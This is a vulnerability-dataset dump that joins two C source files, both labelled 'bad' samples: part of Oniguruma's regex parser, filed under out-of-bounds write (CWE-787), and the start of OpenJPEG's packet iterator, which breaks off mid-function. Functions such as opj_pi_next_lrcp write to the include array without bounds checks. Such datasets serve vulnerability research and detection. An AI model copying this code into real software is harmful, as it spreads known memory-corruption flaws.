return num; NENCLOSE(*np)->regnum = num; } CHECK_NULL_RETURN_MEMERR(*np); r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); if (r < 0) { onig_node_free(target); return r; } if (NTYPE(*np) == NT_ANCHOR) NANCHOR(*np)->target = target; else { NENCLOSE(*np)->target = target; if (NENCLOSE(*np)->type == ENCLOSE_MEMORY) { /* Don't move this to previous of parse_subexp() */ r = scan_env_set_mem_node(env, NENCLOSE(*np)->regnum, *np); if (r != 0) return r; } } *src = p; return 0; } static const char* PopularQStr[] = { "?", "*", "+", "??", "*?", "+?" }; static const char* ReduceQStr[] = { "", "", "*", "*?", "??", "+ and ??", "+? and ?" }; static int set_quantifier(Node* qnode, Node* target, int group, ScanEnv* env) { QtfrNode* qn; qn = NQTFR(qnode); if (qn->lower == 1 && qn->upper == 1) { return 1; } switch (NTYPE(target)) { case NT_STR: if (! group) { StrNode* sn = NSTR(target); if (str_node_can_be_split(sn, env->enc)) { Node* n = str_node_split_last_char(sn, env->enc); if (IS_NOT_NULL(n)) { qn->target = n; return 2; } } } break; case NT_QTFR: { /* check redundant double repeat. */ /* verbose warn (?:.?)? etc... but not warn (.?)? etc... */ QtfrNode* qnt = NQTFR(target); int nestq_num = popular_quantifier_num(qn); int targetq_num = popular_quantifier_num(qnt); #ifdef USE_WARNING_REDUNDANT_NESTED_REPEAT_OPERATOR if (!IS_QUANTIFIER_BY_NUMBER(qn) && !IS_QUANTIFIER_BY_NUMBER(qnt) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT)) { UChar buf[WARN_BUFSIZE]; switch(ReduceTypeTable[targetq_num][nestq_num]) { case RQ_ASIS: break; case RQ_DEL: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"redundant nested repeat operator"); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; default: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"nested repeat operator %s and %s was replaced with '%s'", PopularQStr[targetq_num], PopularQStr[nestq_num], ReduceQStr[ReduceTypeTable[targetq_num][nestq_num]]); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; } } warn_exit: #endif if (targetq_num >= 0) { if (nestq_num >= 0) { onig_reduce_nested_quantifier(qnode, target); goto q_exit; } else if (targetq_num == 1 || targetq_num == 2) { /* * or + */ /* (?:a*){n,m}, (?:a+){n,m} => (?:a*){n,n}, (?:a+){n,n} */ if (! IS_REPEAT_INFINITE(qn->upper) && qn->upper > 1 && qn->greedy) { qn->upper = (qn->lower == 0 ? 1 : qn->lower); } } } } break; default: break; } qn->target = target; q_exit: return 0; } #ifndef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS static int clear_not_flag_cclass(CClassNode* cc, OnigEncoding enc) { BBuf *tbuf; int r; if (IS_NCCLASS_NOT(cc)) { bitset_invert(cc->bs); if (! ONIGENC_IS_SINGLEBYTE(enc)) { r = not_code_range_buf(enc, cc->mbuf, &tbuf); if (r != 0) return r; bbuf_free(cc->mbuf); cc->mbuf = tbuf; } NCCLASS_CLEAR_NOT(cc); } return 0; } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ typedef struct { ScanEnv* env; CClassNode* cc; Node* alt_root; Node** ptail; } IApplyCaseFoldArg; static int i_apply_case_fold(OnigCodePoint from, OnigCodePoint to[], int to_len, void* arg) { IApplyCaseFoldArg* iarg; ScanEnv* env; CClassNode* cc; BitSetRef bs; iarg = (IApplyCaseFoldArg* )arg; env = iarg->env; cc = iarg->cc; bs = cc->bs; if (to_len == 1) { int is_in = onig_is_code_in_cc(env->enc, from, cc); #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS if ((is_in != 0 && !IS_NCCLASS_NOT(cc)) || (is_in == 0 && IS_NCCLASS_NOT(cc))) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { add_code_range(&(cc->mbuf), env, *to, *to); } else { BITSET_SET_BIT(bs, *to); } } #else if (is_in != 0) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { if (IS_NCCLASS_NOT(cc)) clear_not_flag_cclass(cc, env->enc); add_code_range(&(cc->mbuf), env, *to, *to); } else { if (IS_NCCLASS_NOT(cc)) { BITSET_CLEAR_BIT(bs, *to); } else BITSET_SET_BIT(bs, *to); } } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ } else { int r, i, len; UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; Node *snode = NULL_NODE; if (onig_is_code_in_cc(env->enc, from, cc) #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS && !IS_NCCLASS_NOT(cc) #endif ) { for (i = 0; i < to_len; i++) { len = ONIGENC_CODE_TO_MBC(env->enc, to[i], buf); if (i == 0) { snode = onig_node_new_str(buf, buf + len); CHECK_NULL_RETURN_MEMERR(snode); /* char-class expanded multi-char only compare with string folded at match time. */ NSTRING_SET_AMBIG(snode); } else { r = onig_node_str_cat(snode, buf, buf + len); if (r < 0) { onig_node_free(snode); return r; } } } *(iarg->ptail) = onig_node_new_alt(snode, NULL_NODE); CHECK_NULL_RETURN_MEMERR(*(iarg->ptail)); iarg->ptail = &(NCDR((*(iarg->ptail)))); } } return 0; } static int parse_exp(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, len, group = 0; Node* qn; Node** targetp; *np = NULL; if (tok->type == (enum TokenSyms )term) goto end_of_token; switch (tok->type) { case TK_ALT: case TK_EOT: end_of_token: *np = node_new_empty(); return tok->type; break; case TK_SUBEXP_OPEN: r = parse_enclose(np, tok, TK_SUBEXP_CLOSE, src, end, env); if (r < 0) return r; if (r == 1) group = 1; else if (r == 2) { /* option only */ Node* target; OnigOptionType prev = env->option; env->option = NENCLOSE(*np)->option; r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, src, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } NENCLOSE(*np)->target = target; return tok->type; } break; case TK_SUBEXP_CLOSE: if (! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_UNMATCHED_CLOSE_SUBEXP)) return ONIGERR_UNMATCHED_CLOSE_PARENTHESIS; if (tok->escaped) goto tk_raw_byte; else goto tk_byte; break; case TK_STRING: tk_byte: { *np = node_new_str(tok->backp, *src); CHECK_NULL_RETURN_MEMERR(*np); while (1) { r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_STRING) break; r = onig_node_str_cat(*np, tok->backp, *src); if (r < 0) return r; } string_end: targetp = np; goto repeat; } break; case TK_RAW_BYTE: tk_raw_byte: { *np = node_new_str_raw_char((UChar )tok->u.c); CHECK_NULL_RETURN_MEMERR(*np); len = 1; while (1) { if (len >= ONIGENC_MBC_MINLEN(env->enc)) { if (len == enclen(env->enc, NSTR(*np)->s)) {//should not enclen_end() r = fetch_token(tok, src, end, env); NSTRING_CLEAR_RAW(*np); goto string_end; } } r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_RAW_BYTE) { /* Don't use this, it is wrong for little endian encodings. */ #ifdef USE_PAD_TO_SHORT_BYTE_CHAR int rem; if (len < ONIGENC_MBC_MINLEN(env->enc)) { rem = ONIGENC_MBC_MINLEN(env->enc) - len; (void )node_str_head_pad(NSTR(*np), rem, (UChar )0); if (len + rem == enclen(env->enc, NSTR(*np)->s)) { NSTRING_CLEAR_RAW(*np); goto string_end; } } #endif return ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; } r = node_str_cat_char(*np, (UChar )tok->u.c); if (r < 0) return r; len++; } } break; case TK_CODE_POINT: { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; int num = ONIGENC_CODE_TO_MBC(env->enc, tok->u.code, buf); if (num < 0) return num; #ifdef NUMBERED_CHAR_IS_NOT_CASE_AMBIG *np = node_new_str_raw(buf, buf + num); #else *np = node_new_str(buf, buf + num); #endif CHECK_NULL_RETURN_MEMERR(*np); } break; case TK_QUOTE_OPEN: { OnigCodePoint end_op[2]; UChar *qstart, *qend, *nextp; end_op[0] = (OnigCodePoint )MC_ESC(env->syntax); end_op[1] = (OnigCodePoint )'E'; qstart = *src; qend = find_str_position(end_op, 2, qstart, end, &nextp, env->enc); if (IS_NULL(qend)) { nextp = qend = end; } *np = node_new_str(qstart, qend); CHECK_NULL_RETURN_MEMERR(*np); *src = nextp; } break; case TK_CHAR_TYPE: { switch (tok->u.prop.ctype) { case ONIGENC_CTYPE_WORD: *np = node_new_ctype(tok->u.prop.ctype, tok->u.prop.not); CHECK_NULL_RETURN_MEMERR(*np); break; case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_XDIGIT: { CClassNode* cc; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); add_ctype_to_cc(cc, tok->u.prop.ctype, 0, env); if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); } break; default: return ONIGERR_PARSER_BUG; break; } } break; case TK_CHAR_PROPERTY: r = parse_char_property(np, tok, src, end, env); if (r != 0) return r; break; case TK_CC_OPEN: { CClassNode* cc; r = parse_char_class(np, tok, src, end, env); if (r != 0) return r; cc = NCCLASS(*np); if (IS_IGNORECASE(env->option)) { IApplyCaseFoldArg iarg; iarg.env = env; iarg.cc = cc; iarg.alt_root = NULL_NODE; iarg.ptail = &(iarg.alt_root); r = ONIGENC_APPLY_ALL_CASE_FOLD(env->enc, env->case_fold_flag, i_apply_case_fold, &iarg); if (r != 0) { onig_node_free(iarg.alt_root); return r; } if (IS_NOT_NULL(iarg.alt_root)) { Node* work = onig_node_new_alt(*np, iarg.alt_root); if (IS_NULL(work)) { onig_node_free(iarg.alt_root); return ONIGERR_MEMORY; } *np = work; } } } break; case TK_ANYCHAR: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); break; case TK_ANYCHAR_ANYTIME: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); qn = node_new_quantifier(0, REPEAT_INFINITE, 0); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->target = *np; *np = qn; break; case TK_BACKREF: len = tok->u.backref.num; *np = node_new_backref(len, (len > 1 ? tok->u.backref.refs : &(tok->u.backref.ref1)), tok->u.backref.by_name, #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level, tok->u.backref.level, #endif env); CHECK_NULL_RETURN_MEMERR(*np); break; #ifdef USE_SUBEXP_CALL case TK_CALL: { int gnum = tok->u.call.gnum; if (gnum < 0) { gnum = BACKREF_REL_TO_ABS(gnum, env); if (gnum <= 0) return ONIGERR_INVALID_BACKREF; } *np = node_new_call(tok->u.call.name, tok->u.call.name_end, gnum); CHECK_NULL_RETURN_MEMERR(*np); env->num_call++; } break; #endif case TK_ANCHOR: *np = onig_node_new_anchor(tok->u.anchor); break; case TK_OP_REPEAT: case TK_INTERVAL: if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INDEP_REPEAT_OPS)) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INVALID_REPEAT_OPS)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_NOT_SPECIFIED; else *np = node_new_empty(); } else { goto tk_byte; } break; default: return ONIGERR_PARSER_BUG; break; } { targetp = np; re_entry: r = fetch_token(tok, src, end, env); if (r < 0) return r; repeat: if (r == TK_OP_REPEAT || r == TK_INTERVAL) { if (is_invalid_quantifier_target(*targetp)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_INVALID; qn = node_new_quantifier(tok->u.repeat.lower, tok->u.repeat.upper, (r == TK_INTERVAL ? 1 : 0)); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->greedy = tok->u.repeat.greedy; r = set_quantifier(qn, *targetp, group, env); if (r < 0) { onig_node_free(qn); return r; } if (tok->u.repeat.possessive != 0) { Node* en; en = node_new_enclose(ENCLOSE_STOP_BACKTRACK); if (IS_NULL(en)) { onig_node_free(qn); return ONIGERR_MEMORY; } NENCLOSE(en)->target = qn; qn = en; } if (r == 0) { *targetp = qn; } else if (r == 1) { onig_node_free(qn); } else if (r == 2) { /* split case: /abc+/ */ Node *tmp; *targetp = node_new_list(*targetp, NULL); if (IS_NULL(*targetp)) { onig_node_free(qn); return ONIGERR_MEMORY; } tmp = NCDR(*targetp) = node_new_list(qn, NULL); if (IS_NULL(tmp)) { onig_node_free(qn); return ONIGERR_MEMORY; } targetp = &(NCAR(tmp)); } goto re_entry; } } return r; } static int parse_branch(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == TK_EOT || r == term || r == TK_ALT) { *top = node; } else { *top = node_new_list(node, NULL); headp = &(NCDR(*top)); while (r != TK_EOT && r != term && r != TK_ALT) { r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (NTYPE(node) == NT_LIST) { *headp = node; while (IS_NOT_NULL(NCDR(node))) node = NCDR(node); headp = &(NCDR(node)); } else { *headp = node_new_list(node, NULL); headp = &(NCDR(*headp)); } } } return r; } /* term_tok: TK_EOT or TK_SUBEXP_CLOSE */ static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == term) { *top = node; } else if (r == TK_ALT) { *top = onig_node_new_alt(node, NULL); headp = &(NCDR(*top)); while (r == TK_ALT) { r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } *headp = onig_node_new_alt(node, NULL); headp = &(NCDR(*headp)); } if (tok->type != (enum TokenSyms )term) goto err; } else { onig_node_free(node); err: if (term == TK_SUBEXP_CLOSE) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; else return ONIGERR_PARSER_BUG; } env->parse_depth--; return r; } static int parse_regexp(Node** top, UChar** src, UChar* end, ScanEnv* env) { int r; OnigToken tok; r = fetch_token(&tok, src, end, env); if (r < 0) return r; r = parse_subexp(top, &tok, TK_EOT, src, end, env); if (r < 0) return r; return 0; } extern int onig_parse_make_tree(Node** root, const UChar* pattern, const UChar* end, regex_t* reg, ScanEnv* env) { int r; UChar* p; #ifdef USE_NAMED_GROUP names_clear(reg); #endif scan_env_clear(env); env->option = reg->options; env->case_fold_flag = reg->case_fold_flag; env->enc = reg->enc; env->syntax = reg->syntax; env->pattern = (UChar* )pattern; env->pattern_end = (UChar* )end; env->reg = reg; *root = NULL; if (! ONIGENC_IS_VALID_MBC_STRING(env->enc, pattern, end)) return ONIGERR_INVALID_WIDE_CHAR_VALUE; p = (UChar* )pattern; r = parse_regexp(root, &p, (UChar* )end, env); reg->num_mem = env->num_mem; return r; } extern void onig_scan_env_set_error_string(ScanEnv* env, int ecode ARG_UNUSED, UChar* arg, UChar* arg_end) { env->error = arg; env->error_end = arg_end; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3377_0
crossvul-cpp_data_bad_5273_0
/* * The copyright in this software is being made available under the 2-clauses * BSD License, included below. This software may be subject to other third * party and contributor rights, including patent rights, and no such rights * are granted under this license. * * Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium * Copyright (c) 2002-2014, Professor Benoit Macq * Copyright (c) 2001-2003, David Janssens * Copyright (c) 2002-2003, Yannick Verschueren * Copyright (c) 2003-2007, Francois-Olivier Devaux * Copyright (c) 2003-2014, Antonin Descampe * Copyright (c) 2005, Herve Drolon, FreeImage Team * Copyright (c) 2006-2007, Parvatha Elangovan * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "opj_includes.h" /** @defgroup PI PI - Implementation of a packet iterator */ /*@{*/ /** @name Local static functions */ /*@{*/ /** Get next packet in layer-resolution-component-precinct order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_lrcp(opj_pi_iterator_t * pi); /** Get next packet in resolution-layer-component-precinct order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_rlcp(opj_pi_iterator_t * pi); /** Get next packet in resolution-precinct-component-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_rpcl(opj_pi_iterator_t * pi); /** Get next packet in precinct-component-resolution-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_pcrl(opj_pi_iterator_t * pi); /** Get next packet in component-precinct-resolution-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi); /** * Updates the coding parameters if the encoding is used with Progression order changes and final (or cinema parameters are used). * * @param p_cp the coding parameters to modify * @param p_tileno the tile index being concerned. * @param p_tx0 X0 parameter for the tile * @param p_tx1 X1 parameter for the tile * @param p_ty0 Y0 parameter for the tile * @param p_ty1 Y1 parameter for the tile * @param p_max_prec the maximum precision for all the bands of the tile * @param p_max_res the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min the minimum dy of all the components of all the resolutions for the tile. */ static void opj_pi_update_encode_poc_and_final ( opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min); /** * Updates the coding parameters if the encoding is not used with Progression order changes and final (and cinema parameters are used). * * @param p_cp the coding parameters to modify * @param p_num_comps the number of components * @param p_tileno the tile index being concerned. * @param p_tx0 X0 parameter for the tile * @param p_tx1 X1 parameter for the tile * @param p_ty0 Y0 parameter for the tile * @param p_ty1 Y1 parameter for the tile * @param p_max_prec the maximum precision for all the bands of the tile * @param p_max_res the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min the minimum dy of all the components of all the resolutions for the tile. */ static void opj_pi_update_encode_not_poc ( opj_cp_t *p_cp, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min); /** * Gets the encoding parameters needed to update the coding parameters and all the pocs. * * @param p_image the image being encoded. * @param p_cp the coding parameters. * @param tileno the tile index of the tile being encoded. * @param p_tx0 pointer that will hold the X0 parameter for the tile * @param p_tx1 pointer that will hold the X1 parameter for the tile * @param p_ty0 pointer that will hold the Y0 parameter for the tile * @param p_ty1 pointer that will hold the Y1 parameter for the tile * @param p_max_prec pointer that will hold the maximum precision for all the bands of the tile * @param p_max_res pointer that will hold the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min pointer that will hold the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min pointer that will hold the minimum dy of all the components of all the resolutions for the tile. */ static void opj_get_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res ); /** * Gets the encoding parameters needed to update the coding parameters and all the pocs. * The precinct widths, heights, dx and dy for each component at each resolution will be stored as well. * the last parameter of the function should be an array of pointers of size nb components, each pointer leading * to an area of size 4 * max_res. The data is stored inside this area with the following pattern : * dx_compi_res0 , dy_compi_res0 , w_compi_res0, h_compi_res0 , dx_compi_res1 , dy_compi_res1 , w_compi_res1, h_compi_res1 , ... * * @param p_image the image being encoded. * @param p_cp the coding parameters. * @param tileno the tile index of the tile being encoded. * @param p_tx0 pointer that will hold the X0 parameter for the tile * @param p_tx1 pointer that will hold the X1 parameter for the tile * @param p_ty0 pointer that will hold the Y0 parameter for the tile * @param p_ty1 pointer that will hold the Y1 parameter for the tile * @param p_max_prec pointer that will hold the maximum precision for all the bands of the tile * @param p_max_res pointer that will hold the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min pointer that will hold the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min pointer that will hold the minimum dy of all the components of all the resolutions for the tile. * @param p_resolutions pointer to an area corresponding to the one described above. */ static void opj_get_all_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res, OPJ_UINT32 ** p_resolutions ); /** * Allocates memory for a packet iterator. Data and data sizes are set by this operation. * No other data is set. The include section of the packet iterator is not allocated. * * @param p_image the image used to initialize the packet iterator (in fact only the number of components is relevant. * @param p_cp the coding parameters. * @param tileno the index of the tile from which creating the packet iterator. */ static opj_pi_iterator_t * opj_pi_create( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno ); /** * FIXME DOC */ static void opj_pi_update_decode_not_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res); /** * FIXME DOC */ static void opj_pi_update_decode_poc ( opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res); /** * FIXME DOC */ static OPJ_BOOL opj_pi_check_next_level( OPJ_INT32 pos, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, const OPJ_CHAR *prog); /*@}*/ /*@}*/ /* ========================================================== local functions ========================================================== */ static OPJ_BOOL opj_pi_next_lrcp(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; res = &comp->resolutions[pi->resno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; if (!pi->tp_on){ pi->poc.precno1 = res->pw * res->ph; } for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_rlcp(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; res = &comp->resolutions[pi->resno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; if(!pi->tp_on){ pi->poc.precno1 = res->pw * res->ph; } for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_rpcl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { goto LABEL_SKIP; } else { OPJ_UINT32 compno, resno; pi->first = 0; pi->dx = 0; pi->dy = 0; for (compno = 0; compno < pi->numcomps; compno++) { comp = &pi->comps[compno]; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } } } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_pcrl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; goto 